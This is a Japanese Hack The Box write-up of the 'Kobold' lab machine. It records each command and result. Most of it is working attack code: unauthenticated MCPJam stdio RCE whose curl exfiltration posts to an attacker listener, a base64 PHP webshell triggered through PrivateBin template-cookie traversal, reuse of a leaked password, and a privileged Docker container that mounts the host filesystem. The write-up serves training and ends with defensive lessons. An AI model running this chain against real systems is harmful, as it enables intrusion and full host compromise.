Hack The BoxのWriteup(Kobold)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Kobold — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443/3552
→
MCPJam HTTPS stdio RCE
mcp.kobold.htb
→
ben (operator group)
user.txt ✓
→
PrivateBin webshell配置
operatorグループ書込権
→
template Cookie RCE
conf.php → DBパスワード
→
Arcane API ログイン
Docker管理UI (3552)
→
privilegedコンテナ作成
/:/hostfs マウント
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.94.131
RESULT
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
3552/tcp open  taserver  (Arcane Docker 管理API)

Nmap done: 1 IP address (1 host up) scanned
⚠️
ハマりポイント: filtered ポート数が多い環境では nmap の XML 出力 (-oX) が extraports 属性のシリアライズ異常で “junk after document element” エラーとなり壊れることがある。XML解析に失敗した 場合は必ずプレーンテキスト出力 (-oN) もフォールバックとして解析し、 非標準ポート (3552等) の検出漏れを防ぐこと。

vhost 発見

BASH
openssl s_client -connect 10.129.94.131:443 -servername 10.129.94.131 -brief 2>&1 | grep -i subject
curl -sI http://10.129.94.131/
RESULT
subject=CN=kobold.htb
Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
Location: https://kobold.htb/
BASH
# ワイルドカード証明書のため、MCPJam/PrivateBinが使うであろう
# サブドメインを予測して /etc/hosts に登録
echo "10.129.94.131 kobold.htb mcp.kobold.htb bin.kobold.htb" >> /etc/hosts
PHASE 2

MCPJam Inspector HTTPS stdio RCE

MCPJam Inspector の発見と stdio RCE

NOTE
mcp.kobold.htb は MCPJam Inspector (MCPサーバー管理UI) をホストしている。
その /api/mcp/connect エンドポイントは、serverConfig.type="stdio" を指定することで
任意のコマンド (command + args) をそのままサーバー上で起動できる — 実質的な
未認証リモートコード実行 (MCPサーバー"接続"機能の悪用)。

ただしレスポンスにコマンド出力はそのまま返らないため、OOB (Out-Of-Band) 的に
Kali側で待受けるHTTPサーバーへ curl で結果をPOSTさせ、間接的に出力を回収する。
BASH
# OOB受信用の簡易HTTPサーバーをKali側で起動 (別ターミナル)
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length', 0))
        print(self.rfile.read(l).decode())
        self.send_response(200); self.end_headers()
HTTPServer(('0.0.0.0', 19883), H).serve_forever()
"
HTTP (POST /api/mcp/connect)
curl -s -k --resolve mcp.kobold.htb:443:10.129.94.131 \
  -H "Content-Type: application/json" \
  -d '{
    "serverId": "kld_test",
    "serverConfig": {
      "name": "kld_test",
      "type": "stdio",
      "command": "sh",
      "args": ["-c", "id 2>&1 | curl -s -X POST --data-binary @- http://<KALI_IP>:19883/oob"],
      "env": {},
      "requestTimeout": 35000
    }
  }' \
  https://mcp.kobold.htb/api/mcp/connect
RESULT (OOBサーバー側で受信)
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
✅
未認証のまま ben ユーザー (operator グループ所属) としてRCE成功。 このグループメンバーシップが後の PrivateBin 権限昇格の鍵になる。
PHASE 3

user.txt 取得

同じ手法で user.txt を取得

HTTP (POST /api/mcp/connect)
curl -s -k --resolve mcp.kobold.htb:443:10.129.94.131 \
  -H "Content-Type: application/json" \
  -d '{
    "serverId": "kld_user",
    "serverConfig": {
      "name": "kld_user", "type": "stdio", "command": "sh",
      "args": ["-c", "cat /home/ben/user.txt 2>&1 | curl -s -X POST --data-binary @- http://<KALI_IP>:19883/oob"],
      "env": {}, "requestTimeout": 35000
    }
  }' \
  https://mcp.kobold.htb/api/mcp/connect
RESULT
e8499f4bbfc7bd7a605b86f2e7ac45f0
user.txt — ben@kobold
e8499f4bbfc7bd7a605b86f2e7ac45f0
PHASE 4

PrivateBin テンプレートCookie RCE → Arcane DBパスワード奪取

operator グループ権限で PrivateBin へ webshell 配置

NOTE
bin.kobold.htb は PrivateBin (暗号化ペーストサービス) をホストしている。
PrivateBin はテンプレートファイルを Cookie (template=<name>) で選択する機能があり、
"../" によるパストラバーサルで /privatebin-data/data/ 配下の任意ファイルを
テンプレートとしてPHPエンジンに読み込ませ実行できる。

ben は operator グループに所属しており、/privatebin-data/data/ ディレクトリへの
書込み権限を持つ。この権限を使い、まず webshell (shell.php) をそこへ配置する。
HTTP (MCPJam RCE経由でwebshell書込)
# PHP の "$" を含むペイロードはシェル展開を避けるため base64 経由で書く
echo 'PD9waHAgaWYoaXNzZXQoJF9HRVRbImNtZCJdKSl7QHN5c3RlbSgkX0dFVFsiY21kIl0pO30/Pg==' \
  | base64 -d > /privatebin-data/data/shell.php
# ↑ 上記コマンドを MCPJam stdio RCE (Phase2と同じ方式) で実行
RESULT
SHELL_OK

template Cookie で webshell を発火

BASH
curl -s -k --resolve bin.kobold.htb:443:10.129.94.131 \
  "https://bin.kobold.htb/?cmd=id" \
  -H "Cookie: template=../data/shell"
RESULT
uid=65534(nobody) gid=82(www-data) groups=82(www-data)
✅
template=../data/shell Cookie により PrivateBin が /privatebin-data/data/shell.php をテンプレートとして include し、 ?cmd= パラメータの内容を system() 実行する。

conf.php から Arcane DB パスワード取得

BASH
curl -s -k --resolve bin.kobold.htb:443:10.129.94.131 \
  "https://bin.kobold.htb/?cmd=cat+/srv/cfg/conf.php" \
  -H "Cookie: template=../data/shell"
RESULT (抜粋)
[model_options]
...
pwd = "ComplexP@sswordAdmin1928"
...
ℹ️
ハマりポイント: conf.php には INI コメント行 (; で始まる行) に古い pwd = "..." の記述例が残っていることがある。正規表現で単純に 最初の一致を拾うと誤ったパスワードを掴む可能性があるため、; で始まる 行は読み飛ばし、有効な設定行のみから抽出すること (feedback_config_file_comment_placeholder_regex と同系統の罠)。

webshell の後片付け

NOTE
MCPJam RCE経由で /privatebin-data/data/shell.php を削除し痕跡を消す
(本番環境を想定した誠実なクリーンアップ)。
PHASE 5

Arcane Docker 管理APIへのログイン & privileged コンテナ作成

Arcane API ログイン

NOTE
ポート 3552 は Arcane v1.13.0 (Docker管理Webアプリ/API) が稼働している。
前段で入手した "arcane:ComplexP@sswordAdmin1928" のDBパスワードは、
Arcane自身のログイン用パスワードとしても再利用されていた。
HTTP (POST /api/auth/login)
curl -s -X POST http://10.129.94.131:3552/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"arcane","password":"ComplexP@sswordAdmin1928"}'
RESULT
{"success":true,"data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", ...}}

ホストマウント + privileged コンテナを作成

HTTP (POST /api/environments/0/containers)
curl -s -X POST http://10.129.94.131:3552/api/environments/0/containers \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -d '{
    "name": "kld-rdr-test",
    "image": "privatebin/nginx-fpm-alpine:2.0.2",
    "entrypoint": ["/bin/sh"],
    "cmd": ["-c", "cat /hostfs/root/root.txt > /hostfs/tmp/kobold_root.txt; chmod 644 /hostfs/tmp/kobold_root.txt"],
    "user": "root",
    "hostConfig": {
      "binds": ["/:/hostfs"],
      "privileged": true
    }
  }'
RESULT
{"success":true,"data":{"id":"9990d86f9f7da3fc88dbfb314b98e1a7c622e13fa005800fb1d45f24c38d7351","status":"running",...}}
🚨
権限昇格の本質: Arcane のコンテナ作成APIが privileged: true と任意のホストボリュームマウント (binds: ["/:/hostfs"]) を制限なく 受け付ける。これによりコンテナ内から ホストのファイルシステム全体 (/) が /hostfs として読み書き自由になり、事実上の ホストrootアクセスを得られる。

コンテナ起動

HTTP (POST …/containers/<id>/start)
curl -s -X POST http://10.129.94.131:3552/api/environments/0/containers/9990d86f.../start \
  -H "Authorization: Bearer <JWT_TOKEN>" -d '{}'
RESULT
{"success":true,"data":{"message":"Container started successfully"}}
PHASE 6

root.txt 取得

ホスト側 /tmp に書き出されたフラグを MCPJam RCE で読む

NOTE
コンテナ内の /hostfs/tmp/kobold_root.txt への書込みは、privilegedバインドマウント
により実際にはホストの /tmp/kobold_root.txt への書込みとなる。既に確立済みの
MCPJam stdio RCE (ben権限、ホスト上で直接実行) からこのファイルをそのまま読める。
HTTP (POST /api/mcp/connect)
curl -s -k --resolve mcp.kobold.htb:443:10.129.94.131 \
  -H "Content-Type: application/json" \
  -d '{
    "serverId": "kld_root",
    "serverConfig": {
      "name": "kld_root", "type": "stdio", "command": "sh",
      "args": ["-c", "cat /tmp/kobold_root.txt 2>&1 | curl -s -X POST --data-binary @- http://<KALI_IP>:19886/oob"],
      "env": {}, "requestTimeout": 35000
    }
  }' \
  https://mcp.kobold.htb/api/mcp/connect
RESULT
da088cb09e0bf1e9a3dd4bfeefe12087
root.txt — (ホスト) /tmp/kobold_root.txt 経由
da088cb09e0bf1e9a3dd4bfeefe12087

後片付け

NOTE
MCPJam RCE で /tmp/kobold_root.txt を削除し、Arcane API で
コンテナを停止 (POST .../stop) → 削除 (DELETE .../containers/<id>) する。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ben@kobold
e8499f4bbfc7bd7a605b86f2e7ac45f0
root.txt — host@kobold
da088cb09e0bf1e9a3dd4bfeefe12087

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
MCPJam stdio 未認証RCE MCPJam Inspector (/api/mcp/connect) 未認証リモートコード実行 Critical serverConfig.type=”stdio”で任意コマンド(command+args)をそのまま起動できる設計不備
PrivateBin テンプレートパストラバーサル PrivateBin (Cookie: template) 任意PHPファイルのinclude実行 (RCE) High operatorグループの書込権を使いdataディレクトリへwebshell配置→template Cookieで発火
conf.php の平文パスワード+アカウント使い回し PrivateBin設定ファイル / Arcane 権限昇格の足がかり Medium DB用パスワードがArcane管理画面ログインにも再利用されていた
Arcane Docker API の無制限privilegedコンテナ作成 Arcane v1.13.0 (port 3552) ホストファイルシステムへの完全アクセス (root権限相当) Critical 任意ホストパスのbindマウント+privileged:trueを制限なく許可→ /:/hostfs でホスト全体にアクセス

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート + vhost発見22/80/443/3552、kobold.htb系3vhost
2MCPJam RCEstdio type接続の任意コマンド実行 + OOB exfilben権限(operatorグループ)でのRCE
3フラグ取得MCPJam RCE経由ファイル読取user.txt
4横展開PrivateBin webshell配置 + template Cookie RCEconf.phpからArcane DBパスワード
5権限昇格準備Arcane APIログイン + privilegedコンテナ作成ホスト / を /hostfs としてマウント
6フラグ取得MCPJam RCE経由ホスト/tmp読取root.txt

学んだ教訓 & 防御策

問題点防御策
MCPJam Inspector の “stdio” サーバー接続機能が任意コマンド実行をそのまま許す MCPサーバー設定の command/args をホワイトリスト化するか、サーバー接続機能自体に 強い認証・認可を必須にする。開発/デバッグ専用ツールを本番公開しない。
PrivateBin の template Cookie がパストラバーサルでき、データディレクトリの 書込権を持つ任意ユーザーがPHP実行まで到達できる template パラメータを既知のテンプレート名のホワイトリストで検証する。 data ディレクトリをWebサーバーの実行可能領域から分離する。
設定ファイルのパスワードが他システムのログイン認証にも使い回されている システムごとに個別のクレデンシャルを発行し、使い回しを禁止する運用を徹底する。
Docker管理APIがホストの任意パスのbindマウント・privilegedコンテナ作成を 無制限に許可している (コンテナエスケープが自明になる設計) コンテナ作成APIで privileged フラグやホストパスのバインドマウントを 管理者以外に許可しない。少なくとも許可パスをホワイトリスト化する。 Dockerソケット/管理APIへのアクセス自体を信頼済みネットワークに限定する。
HackTheBox: Kobold | 完全攻略レポート